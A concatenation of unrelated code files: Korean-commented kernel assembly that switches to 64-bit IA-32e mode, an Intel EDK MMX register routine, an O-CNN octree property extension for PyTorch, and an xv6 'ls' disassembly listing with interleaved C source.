mov dword [ esi ], ebx ; pdwEBX가 포인터이므로 포인터가 가리키는 어드레스에 EBX 레지스터의 값을 저장
; *pdwECX
mov esi, dword [ ebp + 20 ] ; 파라미터 4(pdwECX)를 ESI 레지스터에 저장
mov dword [ esi ], ecx ; pdwECX가 포인터이므로 포인터가 가리키는 어드레스에 ECX 레지스터의 값을 저장
; *pdwEDX
mov esi, dword [ ebp + 24 ] ; 파라미터 5(pdwEDX)를 ESI 레지스터에 저장
mov dword [ esi ], edx ; pdwEDX가 포인터이므로 포인터가 가리키는 어드레스에 EDX 레지스터의 값을 저장
pop esi
pop edx
pop ecx
pop ebx
pop eax
pop ebp
ret
; IA-32e 모드로 전환하고 64비트 커널 수행
; PARAM: 없음
kSwitchAndExecute64bitKernel:
; CR4 컨트롤 레지스터의 PAE 비트를 1로 설정
mov eax, cr4 ; CR4 컨트롤 레지스터의 값을 EAX 레지스터에 저장
or eax, 0x20 ; PAE 비트(비트 5)를 1로 설정
mov cr4, eax ; PAE 비트가 1로 설정된 값을 CR4 컨트롤 레지스터에 저장
; CR3 컨트롤 레지스터에 PML4 테이블의 어드레스 및 캐시 활성화
mov eax, 0x100000 ; EAX 테이블에 PM4 테이블이 존재하는 0x100000(1MB) 저장
mov cr3, eax ; CR3 컨트롤 레지스터에 0x100000(1MB) 저장
mov ecx, 0xC0000080 ; IA32_EFER MSR 어드레스 저장
rdmsr ; MSR 읽기
or eax, 0x0100 ; IA32_EFER MSR의 하위 32비트에서 LME 비트(비트 8)을 1로 설정
wrmsr ; MSR 쓰기
; CR0 컨트롤 레지스터를 NW 비트(비트 29) 0, CD 비트(비트 30) 0, PG 비트(비트 31) 1로 설정하여 캐시 기능과 페이지 기능을 활성화
mov eax, cr0
or eax, 0xE0000000 ; NW, CD, PG 비트 모두 1로 설정
xor eax, 0x60000000 ; NW, CD 비트 XOR하여 0으로 설정
mov cr0, eax
jmp 0x08: 0x200000 ; CS 세그먼트 셀렉터를 IA-32e 모드용 코드 세그먼트 디스크립터로 교체하교 0x200000(2MB) 어드레스로 이동
; 여기는 실행되지 않음
jmp $
|
; Copyright (c) 2004, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; WriteMm0.Asm
;
; Abstract:
;
; AsmWriteMm0 function
;
; Notes:
;
;------------------------------------------------------------------------------
.code
;------------------------------------------------------------------------------
; VOID
; EFIAPI
; AsmWriteMm0 (
; IN UINT64 Value
; );
;------------------------------------------------------------------------------
AsmWriteMm0 PROC
;
; 64-bit MASM doesn't support MMX instructions, so use opcode here
;
DB 48h, 0fh, 6eh, 0c1h
ret
AsmWriteMm0 ENDP
END
|
#ifndef KEY64
#define KEY64
#endif
#include <octree/octree_nn.h>
#include <octree/octree_parser.h>
#include "ocnn.h"
namespace {
Tensor octree_property_gpu(Tensor octree_in, string property, int depth) {
OctreeParser octree_;
octree_.set_gpu(octree_in.data_ptr<uint8_t>());
int node_num = octree_.info().node_num(depth);
torch::TensorOptions options = octree_in.options();
Tensor data_out = torch::zeros({1}, options);
if (property == "key") {
const uintk* ptr = octree_.key_gpu(depth);
int channel = octree_.info().channel(OctreeInfo::kKey); // = 1
int total_num = channel * node_num;
data_out = torch::zeros({total_num}, options.dtype(torch::kInt64));
memcpy_gpu(total_num, ptr, (uintk*)data_out.data_ptr<int64_t>());
}
if (property == "xyz") {
const uintk* ptr = octree_.key_gpu(depth);
int channel = octree_.info().channel(OctreeInfo::kKey); // = 1
int total_num = channel * node_num;
data_out = torch::zeros({total_num}, options.dtype(torch::kInt64));
if (!octree_.info().is_key2xyz()) {
key2xyz_gpu((uintk*)data_out.data_ptr<int64_t>(), ptr, total_num, depth);
} else {
memcpy_gpu(total_num, ptr, (uintk*)data_out.data_ptr<int64_t>());
}
}
if (property == "index") {
const uintk* key_ptr = octree_.key_gpu(depth);
int channel = octree_.info().channel(OctreeInfo::kKey); // = 1
int total_num = channel * node_num;
data_out = torch::zeros({total_num}, options.dtype(torch::kInt32));
key2idx_gpu(data_out.data_ptr<int>(), key_ptr, total_num);
}
if (property == "child") {
const int* child_ptr = octree_.children_gpu(depth);
int channel = octree_.info().channel(OctreeInfo::kChild); // = 1
int total_num = channel * node_num;
data_out = torch::zeros({total_num}, options.dtype(torch::kInt32));
memcpy_gpu(total_num, child_ptr, data_out.data_ptr<int>());
}
if (property == "neigh") {
const int* neigh_ptr = octree_.neighbor_gpu(depth);
int channel = octree_.info().channel(OctreeInfo::kNeigh);
int total_num = channel * node_num;
data_out = torch::zeros({node_num, channel}, options.dtype(torch::kInt32));
memcpy_gpu(total_num, neigh_ptr, data_out.data_ptr<int>());
}
if (property == "feature") {
const float* feature_ptr = octree_.feature_gpu(depth);
int channel = octree_.info().channel(OctreeInfo::kFeature);
int total_num = channel * node_num;
data_out = torch::zeros({1, channel, node_num, 1}, options.dtype(torch::kFloat32));
memcpy_gpu(total_num, feature_ptr, data_out.data_ptr<float>());
}
if (property == "label") {
const float* label_ptr = octree_.label_gpu(depth);
int channel = octree_.info().channel(OctreeInfo::kLabel);
int total_num = channel * node_num;
data_out = torch::zeros({total_num}, options.dtype(torch::kFloat32));
memcpy_gpu(total_num, label_ptr, data_out.data_ptr<float>());
}
if (property == "split") {
const float* split_ptr = octree_.split_gpu(depth);
int channel = octree_.info().channel(OctreeInfo::kSplit);
int total_num = channel * node_num;
data_out = torch::zeros({total_num}, options.dtype(torch::kFloat32));
memcpy_gpu(total_num, split_ptr, data_out.data_ptr<float>());
}
if (property == "node_num") {
data_out = torch::zeros({1}, options.dtype(torch::kInt32));
memcpy_gpu(1, &node_num, data_out.data_ptr<int>());
}
if (property == "node_num_ne" || property == "node_num_nempty") {
int num = octree_.info().node_num_nempty(depth);
data_out = torch::zeros({1}, options.dtype(torch::kInt32));
memcpy_gpu(1, &num, data_out.data_ptr<int>());
}
return data_out;
}
Tensor octree_property_cpu(Tensor octree_in, string property, int depth) {
OctreeParser octree_;
octree_.set_cpu(octree_in.data_ptr<uint8_t>());
int node_num = octree_.info().node_num(depth);
torch::TensorOptions options = octree_in.options();
Tensor data_out = torch::zeros({1}, options);
if (property == "key") {
const uintk* ptr = octree_.key_cpu(depth);
int channel = octree_.info().channel(OctreeInfo::kKey); // = 1
int total_num = channel * node_num;
data_out = torch::zeros({total_num}, options.dtype(torch::kInt64));
memcpy_cpu(total_num, ptr, (uintk*)data_out.data_ptr<int64_t>());
}
if (property == "xyz") {
const uintk* ptr = octree_.key_cpu(depth);
int channel = octree_.info().channel(OctreeInfo::kKey); // = 1
int total_num = channel * node_num;
data_out = torch::zeros({total_num}, options.dtype(torch::kInt64));
if (!octree_.info().is_key2xyz()) {
key2xyz_cpu((uintk*)data_out.data_ptr<int64_t>(), ptr, total_num, depth);
} else {
memcpy_cpu(total_num, ptr, (uintk*)data_out.data_ptr<int64_t>());
}
}
if (property == "index") {
const uintk* key_ptr = octree_.key_cpu(depth);
int channel = octree_.info().channel(OctreeInfo::kKey); // = 1
int total_num = channel * node_num;
data_out = torch::zeros({total_num}, options.dtype(torch::kInt32));
key2idx_cpu(data_out.data_ptr<int>(), key_ptr, total_num);
}
if (property == "child") {
const int* child_ptr = octree_.children_cpu(depth);
int channel = octree_.info().channel(OctreeInfo::kChild); // = 1
int total_num = channel * node_num;
data_out = torch::zeros({total_num}, options.dtype(torch::kInt32));
memcpy_cpu(total_num, child_ptr, data_out.data_ptr<int>());
}
if (property == "neigh") {
const int* neigh_ptr = octree_.neighbor_cpu(depth);
int channel = octree_.info().channel(OctreeInfo::kNeigh);
int total_num = channel * node_num;
data_out = torch::zeros({node_num, channel}, options.dtype(torch::kInt32));
memcpy_cpu(total_num, neigh_ptr, data_out.data_ptr<int>());
}
if (property == "feature") {
const float* feature_ptr = octree_.feature_cpu(depth);
int channel = octree_.info().channel(OctreeInfo::kFeature);
int total_num = channel * node_num;
data_out = torch::zeros({1, channel, node_num, 1}, options.dtype(torch::kFloat32));
memcpy_cpu(total_num, feature_ptr, data_out.data_ptr<float>());
}
if (property == "label") {
const float* label_ptr = octree_.label_cpu(depth);
int channel = octree_.info().channel(OctreeInfo::kLabel);
int total_num = channel * node_num;
data_out = torch::zeros({total_num}, options.dtype(torch::kFloat32));
memcpy_cpu(total_num, label_ptr, data_out.data_ptr<float>());
}
if (property == "split") {
const float* split_ptr = octree_.split_cpu(depth);
int channel = octree_.info().channel(OctreeInfo::kSplit);
int total_num = channel * node_num;
data_out = torch::zeros({total_num}, options.dtype(torch::kFloat32));
memcpy_cpu(total_num, split_ptr, data_out.data_ptr<float>());
}
if (property == "node_num") {
data_out = torch::zeros({1}, options.dtype(torch::kInt32));
memcpy_cpu(1, &node_num, data_out.data_ptr<int>());
}
if (property == "node_num_ne" || property == "node_num_nempty") {
int num = octree_.info().node_num_nempty(depth);
data_out = torch::zeros({1}, options.dtype(torch::kInt32));
memcpy_cpu(1, &num, data_out.data_ptr<int>());
}
return data_out;
}
} // anonymous namespace
// API implementation
Tensor octree_property(Tensor octree_in, string property, int depth) {
if (octree_in.is_cuda()) {
return octree_property_gpu(octree_in, property, depth);
} else {
return octree_property_cpu(octree_in, property, depth);
}
} |
_ls: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
close(fd);
}
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 56 push %esi
e: 53 push %ebx
f: 51 push %ecx
10: 83 ec 0c sub $0xc,%esp
13: 8b 01 mov (%ecx),%eax
15: 8b 51 04 mov 0x4(%ecx),%edx
int i;
if(argc < 2){
18: 83 f8 01 cmp $0x1,%eax
1b: 7e 24 jle 41 <main+0x41>
1d: 8d 5a 04 lea 0x4(%edx),%ebx
20: 8d 34 82 lea (%edx,%eax,4),%esi
23: 90 nop
24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
ls(".");
exit();
}
for(i=1; i<argc; i++)
ls(argv[i]);
28: 83 ec 0c sub $0xc,%esp
2b: ff 33 pushl (%ebx)
2d: 83 c3 04 add $0x4,%ebx
30: e8 cb 00 00 00 call 100 <ls>
for(i=1; i<argc; i++)
35: 83 c4 10 add $0x10,%esp
38: 39 f3 cmp %esi,%ebx
3a: 75 ec jne 28 <main+0x28>
exit();
3c: e8 41 05 00 00 call 582 <exit>
ls(".");
41: 83 ec 0c sub $0xc,%esp
44: 68 80 0a 00 00 push $0xa80
49: e8 b2 00 00 00 call 100 <ls>
exit();
4e: e8 2f 05 00 00 call 582 <exit>
53: 66 90 xchg %ax,%ax
55: 66 90 xchg %ax,%ax
57: 66 90 xchg %ax,%ax
59: 66 90 xchg %ax,%ax
5b: 66 90 xchg %ax,%ax
5d: 66 90 xchg %ax,%ax
5f: 90 nop
00000060 <fmtname>:
{
60: 55 push %ebp
61: 89 e5 mov %esp,%ebp
63: 56 push %esi
64: 53 push %ebx
65: 8b 5d 08 mov 0x8(%ebp),%ebx
for(p=path+strlen(path); p >= path && *p != '/'; p--)
68: 83 ec 0c sub $0xc,%esp
6b: 53 push %ebx
6c: e8 3f 03 00 00 call 3b0 <strlen>
71: 83 c4 10 add $0x10,%esp
74: 01 d8 add %ebx,%eax
76: 73 0f jae 87 <fmtname+0x27>
78: eb 12 jmp 8c <fmtname+0x2c>
7a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80: 83 e8 01 sub $0x1,%eax
83: 39 c3 cmp %eax,%ebx
85: 77 05 ja 8c <fmtname+0x2c>
87: 80 38 2f cmpb $0x2f,(%eax)
8a: 75 f4 jne 80 <fmtname+0x20>
p++;
8c: 8d 58 01 lea 0x1(%eax),%ebx
if(strlen(p) >= DIRSIZ)
8f: 83 ec 0c sub $0xc,%esp
92: 53 push %ebx
93: e8 18 03 00 00 call 3b0 <strlen>
98: 83 c4 10 add $0x10,%esp
9b: 83 f8 0d cmp $0xd,%eax
9e: 77 4a ja ea <fmtname+0x8a>
memmove(buf, p, strlen(p));
a0: 83 ec 0c sub $0xc,%esp
a3: 53 push %ebx
a4: e8 07 03 00 00 call 3b0 <strlen>
a9: 83 c4 0c add $0xc,%esp
ac: 50 push %eax
ad: 53 push %ebx
ae: 68 ac 0d 00 00 push $0xdac
b3: e8 98 04 00 00 call 550 <memmove>
memset(buf+strlen(p), ' ', DIRSIZ-strlen(p));
b8: 89 1c 24 mov %ebx,(%esp)
bb: e8 f0 02 00 00 call 3b0 <strlen>
c0: 89 1c 24 mov %ebx,(%esp)
c3: 89 c6 mov %eax,%esi
return buf;
c5: bb ac 0d 00 00 mov $0xdac,%ebx
memset(buf+strlen(p), ' ', DIRSIZ-strlen(p));
ca: e8 e1 02 00 00 call 3b0 <strlen>
cf: ba 0e 00 00 00 mov $0xe,%edx
d4: 83 c4 0c add $0xc,%esp
d7: 05 ac 0d 00 00 add $0xdac,%eax
dc: 29 f2 sub %esi,%edx
de: 52 push %edx
df: 6a 20 push $0x20
e1: 50 push %eax
e2: e8 f9 02 00 00 call 3e0 <memset>
return buf;
e7: 83 c4 10 add $0x10,%esp
}
ea: 8d 65 f8 lea -0x8(%ebp),%esp
ed: 89 d8 mov %ebx,%eax
ef: 5b pop %ebx
f0: 5e pop %esi
f1: 5d pop %ebp
f2: c3 ret
f3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000100 <ls>:
{
100: 55 push %ebp
101: 89 e5 mov %esp,%ebp
103: 57 push %edi
104: 56 push %esi
105: 53 push %ebx
106: 81 ec 64 02 00 00 sub $0x264,%esp
10c: 8b 7d 08 mov 0x8(%ebp),%edi
if((fd = open(path, 0)) < 0){
10f: 6a 00 push $0x0
111: 57 push %edi
112: e8 c3 04 00 00 call 5da <open>
117: 83 c4 10 add $0x10,%esp
11a: 85 c0 test %eax,%eax
11c: 78 52 js 170 <ls+0x70>
if(fstat(fd, &st) < 0){
11e: 8d b5 d4 fd ff ff lea -0x22c(%ebp),%esi
124: 83 ec 08 sub $0x8,%esp
127: 89 c3 mov %eax,%ebx
129: 56 push %esi
12a: 50 push %eax
12b: e8 c2 04 00 00 call 5f2 <fstat>
130: 83 c4 10 add $0x10,%esp
133: 85 c0 test %eax,%eax
135: 0f 88 c5 00 00 00 js 200 <ls+0x100>
switch(st.type){
13b: 0f b7 85 d4 fd ff ff movzwl -0x22c(%ebp),%eax
142: 66 83 f8 01 cmp $0x1,%ax
146: 0f 84 84 00 00 00 je 1d0 <ls+0xd0>
14c: 66 83 f8 02 cmp $0x2,%ax
150: 74 3e je 190 <ls+0x90>
close(fd);
152: 83 ec 0c sub $0xc,%esp
155: 53 push %ebx
156: e8 67 04 00 00 call 5c2 <close>
15b: 83 c4 10 add $0x10,%esp
}
15e: 8d 65 f4 lea -0xc(%ebp),%esp
161: 5b pop %ebx
162: 5e pop %esi
163: 5f pop %edi
164: 5d pop %ebp
165: c3 ret
166: 8d 76 00 lea 0x0(%esi),%esi
169: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
printf(2, "ls: cannot open %s\n", path);
170: 83 ec 04 sub $0x4,%esp
173: 57 push %edi
174: 68 38 0a 00 00 push $0xa38
179: 6a 02 push $0x2
17b: e8 60 05 00 00 call 6e0 <printf>
return;
180: 83 c4 10 add $0x10,%esp
}
183: 8d 65 f4 lea -0xc(%ebp),%esp
186: 5b pop %ebx
187: 5e pop %esi
188: 5f pop %edi
189: 5d pop %ebp
18a: c3 ret
18b: 90 nop
18c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
printf(1, "%s %d %d %d\n", fmtname(path), st.type, st.ino, st.size);
190: 83 ec 0c sub $0xc,%esp
193: 8b 95 e4 fd ff ff mov -0x21c(%ebp),%edx
199: 8b b5 dc fd ff ff mov -0x224(%ebp),%esi
19f: 57 push %edi
1a0: 89 95 b4 fd ff ff mov %edx,-0x24c(%ebp)
1a6: e8 b5 fe ff ff call 60 <fmtname>
1ab: 8b 95 b4 fd ff ff mov -0x24c(%ebp),%edx
1b1: 59 pop %ecx
1b2: 5f pop %edi
1b3: 52 push %edx
1b4: 56 push %esi
1b5: 6a 02 push $0x2
1b7: 50 push %eax
1b8: 68 60 0a 00 00 push $0xa60
1bd: 6a 01 push $0x1
1bf: e8 1c 05 00 00 call 6e0 <printf>
break;
1c4: 83 c4 20 add $0x20,%esp
1c7: eb 89 jmp 152 <ls+0x52>
1c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(strlen(path) + 1 + DIRSIZ + 1 > sizeof buf){
1d0: 83 ec 0c sub $0xc,%esp
1d3: 57 push %edi
1d4: e8 d7 01 00 00 call 3b0 <strlen>
1d9: 83 c0 10 add $0x10,%eax
1dc: 83 c4 10 add $0x10,%esp
1df: 3d 00 02 00 00 cmp $0x200,%eax
1e4: 76 42 jbe 228 <ls+0x128>
printf(1, "ls: path too long\n");
1e6: 83 ec 08 sub $0x8,%esp
1e9: 68 6d 0a 00 00 push $0xa6d
1ee: 6a 01 push $0x1
1f0: e8 eb 04 00 00 call 6e0 <printf>
break;
1f5: 83 c4 10 add $0x10,%esp
1f8: e9 55 ff ff ff jmp 152 <ls+0x52>
1fd: 8d 76 00 lea 0x0(%esi),%esi
printf(2, "ls: cannot stat %s\n", path);
200: 83 ec 04 sub $0x4,%esp
203: 57 push %edi
204: 68 4c 0a 00 00 push $0xa4c
209: 6a 02 push $0x2
20b: e8 d0 04 00 00 call 6e0 <printf>
close(fd);
210: 89 1c 24 mov %ebx,(%esp)
213: e8 aa 03 00 00 call 5c2 <close>
return;
218: 83 c4 10 add $0x10,%esp
}
21b: 8d 65 f4 lea -0xc(%ebp),%esp
21e: 5b pop %ebx
21f: 5e pop %esi
220: 5f pop %edi
221: 5d pop %ebp
222: c3 ret
223: 90 nop
224: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
strcpy(buf, path);
228: 83 ec 08 sub $0x8,%esp
22b: 57 push %edi
22c: 8d bd e8 fd ff ff lea -0x218(%ebp),%edi
232: 57 push %edi
233: e8 f8 00 00 00 call 330 <strcpy>
p = buf+strlen(buf);
238: 89 3c 24 mov %edi,(%esp)
23b: e8 70 01 00 00 call 3b0 <strlen>
240: 01 f8 add %edi,%eax
while(read(fd, &de, sizeof(de)) == sizeof(de)){
242: 83 c4 10 add $0x10,%esp
*p++ = '/';
245: 8d 48 01 lea 0x1(%eax),%ecx
p = buf+strlen(buf);
248: 89 85 a8 fd ff ff mov %eax,-0x258(%ebp)
*p++ = '/';
24e: c6 00 2f movb $0x2f,(%eax)
251: 89 8d a4 fd ff ff mov %ecx,-0x25c(%ebp)
257: 89 f6 mov %esi,%esi
259: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
while(read(fd, &de, sizeof(de)) == sizeof(de)){
260: 8d 85 c4 fd ff ff lea -0x23c(%ebp),%eax
266: 83 ec 04 sub $0x4,%esp
269: 6a 10 push $0x10
26b: 50 push %eax
26c: 53 push %ebx
26d: e8 40 03 00 00 call 5b2 <read>
272: 83 c4 10 add $0x10,%esp
275: 83 f8 10 cmp $0x10,%eax
278: 0f 85 d4 fe ff ff jne 152 <ls+0x52>
if(de.inum == 0)
27e: 66 83 bd c4 fd ff ff cmpw $0x0,-0x23c(%ebp)
285: 00
286: 74 d8 je 260 <ls+0x160>
memmove(p, de.name, DIRSIZ);
288: 8d 85 c6 fd ff ff lea -0x23a(%ebp),%eax
28e: 83 ec 04 sub $0x4,%esp
291: 6a 0e push $0xe
293: 50 push %eax
294: ff b5 a4 fd ff ff pushl -0x25c(%ebp)
29a: e8 b1 02 00 00 call 550 <memmove>
p[DIRSIZ] = 0;
29f: 8b 85 a8 fd ff ff mov -0x258(%ebp),%eax
2a5: c6 40 0f 00 movb $0x0,0xf(%eax)
if(stat(buf, &st) < 0){
2a9: 58 pop %eax
2aa: 5a pop %edx
2ab: 56 push %esi
2ac: 57 push %edi
2ad: e8 0e 02 00 00 call 4c0 <stat>
2b2: 83 c4 10 add $0x10,%esp
2b5: 85 c0 test %eax,%eax
2b7: 78 5f js 318 <ls+0x218>
printf(1, "%s %d %d %d\n", fmtname(buf), st.type, st.ino, st.size);
2b9: 0f bf 85 d4 fd ff ff movswl -0x22c(%ebp),%eax
2c0: 83 ec 0c sub $0xc,%esp
2c3: 8b 8d e4 fd ff ff mov -0x21c(%ebp),%ecx
2c9: 8b 95 dc fd ff ff mov -0x224(%ebp),%edx
2cf: 57 push %edi
2d0: 89 8d ac fd ff ff mov %ecx,-0x254(%ebp)
2d6: 89 95 b0 fd ff ff mov %edx,-0x250(%ebp)
2dc: 89 85 b4 fd ff ff mov %eax,-0x24c(%ebp)
2e2: e8 79 fd ff ff call 60 <fmtname>
2e7: 5a pop %edx
2e8: 8b 95 b0 fd ff ff mov -0x250(%ebp),%edx
2ee: 59 pop %ecx
2ef: 8b 8d ac fd ff ff mov -0x254(%ebp),%ecx
2f5: 51 push %ecx
2f6: 52 push %edx
2f7: ff b5 b4 fd ff ff pushl -0x24c(%ebp)
2fd: 50 push %eax
2fe: 68 60 0a 00 00 push $0xa60
303: 6a 01 push $0x1
305: e8 d6 03 00 00 call 6e0 <printf>
30a: 83 c4 20 add $0x20,%esp
30d: e9 4e ff ff ff jmp 260 <ls+0x160>
312: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printf(1, "ls: cannot stat %s\n", buf);
318: 83 ec 04 sub $0x4,%esp
31b: 57 push %edi
31c: 68 4c 0a 00 00 push $0xa4c
321: 6a 01 push $0x1
323: e8 b8 03 00 00 call 6e0 <printf>
continue;
328: 83 c4 10 add $0x10,%esp
32b: e9 30 ff ff ff jmp 260 <ls+0x160>
00000330 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
330: 55 push %ebp
331: 89 e5 mov %esp,%ebp
333: 53 push %ebx
334: 8b 45 08 mov 0x8(%ebp),%eax
337: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
33a: 89 c2 mov %eax,%edx
33c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
340: 83 c1 01 add $0x1,%ecx
343: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
347: 83 c2 01 add $0x1,%edx
34a: 84 db test %bl,%bl
34c: 88 5a ff mov %bl,-0x1(%edx)
34f: 75 ef jne 340 <strcpy+0x10>
;
return os;
}
351: 5b pop %ebx
352: 5d pop %ebp
353: c3 ret
354: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
35a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000360 <strcmp>:
int
strcmp(const char *p, const char *q)
{
360: 55 push %ebp
361: 89 e5 mov %esp,%ebp
363: 53 push %ebx
364: 8b 55 08 mov 0x8(%ebp),%edx
367: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
36a: 0f b6 02 movzbl (%edx),%eax
36d: 0f b6 19 movzbl (%ecx),%ebx
370: 84 c0 test %al,%al
372: 75 1c jne 390 <strcmp+0x30>
374: eb 2a jmp 3a0 <strcmp+0x40>
376: 8d 76 00 lea 0x0(%esi),%esi
379: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
380: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
383: 0f b6 02 movzbl (%edx),%eax
p++, q++;
386: 83 c1 01 add $0x1,%ecx
389: 0f b6 19 movzbl (%ecx),%ebx
while(*p && *p == *q)
38c: 84 c0 test %al,%al
38e: 74 10 je 3a0 <strcmp+0x40>
390: 38 d8 cmp %bl,%al
392: 74 ec je 380 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
394: 29 d8 sub %ebx,%eax
}
396: 5b pop %ebx
397: 5d pop %ebp
398: c3 ret
399: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
3a0: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
3a2: 29 d8 sub %ebx,%eax
}
3a4: 5b pop %ebx
3a5: 5d pop %ebp
3a6: c3 ret
3a7: 89 f6 mov %esi,%esi
3a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000003b0 <strlen>:
uint
strlen(const char *s)
{
3b0: 55 push %ebp
3b1: 89 e5 mov %esp,%ebp
3b3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
3b6: 80 39 00 cmpb $0x0,(%ecx)
3b9: 74 15 je 3d0 <strlen+0x20>
3bb: 31 d2 xor %edx,%edx
3bd: 8d 76 00 lea 0x0(%esi),%esi
3c0: 83 c2 01 add $0x1,%edx
3c3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
3c7: 89 d0 mov %edx,%eax
3c9: 75 f5 jne 3c0 <strlen+0x10>
;
return n;
}
3cb: 5d pop %ebp
3cc: c3 ret
3cd: 8d 76 00 lea 0x0(%esi),%esi
for(n = 0; s[n]; n++)
3d0: 31 c0 xor %eax,%eax
}
3d2: 5d pop %ebp
3d3: c3 ret
3d4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
3da: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
000003e0 <memset>:
void*
memset(void *dst, int c, uint n)
{
3e0: 55 push %ebp
3e1: 89 e5 mov %esp,%ebp
3e3: 57 push %edi
3e4: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
3e7: 8b 4d 10 mov 0x10(%ebp),%ecx
3ea: 8b 45 0c mov 0xc(%ebp),%eax
3ed: 89 d7 mov %edx,%edi
3ef: fc cld
3f0: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
3f2: 89 d0 mov %edx,%eax
3f4: 5f pop %edi
3f5: 5d pop %ebp
3f6: c3 ret
3f7: 89 f6 mov %esi,%esi
3f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000400 <strchr>:
char*
strchr(const char *s, char c)
{
400: 55 push %ebp
401: 89 e5 mov %esp,%ebp
403: 53 push %ebx
404: 8b 45 08 mov 0x8(%ebp),%eax
407: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
40a: 0f b6 10 movzbl (%eax),%edx
40d: 84 d2 test %dl,%dl
40f: 74 1d je 42e <strchr+0x2e>
if(*s == c)
411: 38 d3 cmp %dl,%bl
413: 89 d9 mov %ebx,%ecx
415: 75 0d jne 424 <strchr+0x24>
417: eb 17 jmp 430 <strchr+0x30>
419: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
420: 38 ca cmp %cl,%dl
422: 74 0c je 430 <strchr+0x30>
for(; *s; s++)
424: 83 c0 01 add $0x1,%eax
427: 0f b6 10 movzbl (%eax),%edx
42a: 84 d2 test %dl,%dl
42c: 75 f2 jne 420 <strchr+0x20>
return (char*)s;
return 0;
42e: 31 c0 xor %eax,%eax
}
430: 5b pop %ebx
431: 5d pop %ebp
432: c3 ret
433: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
439: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000440 <gets>:
char*
gets(char *buf, int max)
{
440: 55 push %ebp
441: 89 e5 mov %esp,%ebp
443: 57 push %edi
444: 56 push %esi
445: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
446: 31 f6 xor %esi,%esi
448: 89 f3 mov %esi,%ebx
{
44a: 83 ec 1c sub $0x1c,%esp
44d: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
450: eb 2f jmp 481 <gets+0x41>
452: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
458: 8d 45 e7 lea -0x19(%ebp),%eax
45b: 83 ec 04 sub $0x4,%esp
45e: 6a 01 push $0x1
460: 50 push %eax
461: 6a 00 push $0x0
463: e8 4a 01 00 00 call 5b2 <read>
if(cc < 1)
468: 83 c4 10 add $0x10,%esp
46b: 85 c0 test %eax,%eax
46d: 7e 1c jle 48b <gets+0x4b>
break;
buf[i++] = c;
46f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
473: 83 c7 01 add $0x1,%edi
476: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
479: 3c 0a cmp $0xa,%al
47b: 74 23 je 4a0 <gets+0x60>
47d: 3c 0d cmp $0xd,%al
47f: 74 1f je 4a0 <gets+0x60>
for(i=0; i+1 < max; ){
481: 83 c3 01 add $0x1,%ebx
484: 3b 5d 0c cmp 0xc(%ebp),%ebx
487: 89 fe mov %edi,%esi
489: 7c cd jl 458 <gets+0x18>
48b: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
48d: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
490: c6 03 00 movb $0x0,(%ebx)
}
493: 8d 65 f4 lea -0xc(%ebp),%esp
496: 5b pop %ebx
497: 5e pop %esi
498: 5f pop %edi
499: 5d pop %ebp
49a: c3 ret
49b: 90 nop
49c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
4a0: 8b 75 08 mov 0x8(%ebp),%esi
4a3: 8b 45 08 mov 0x8(%ebp),%eax
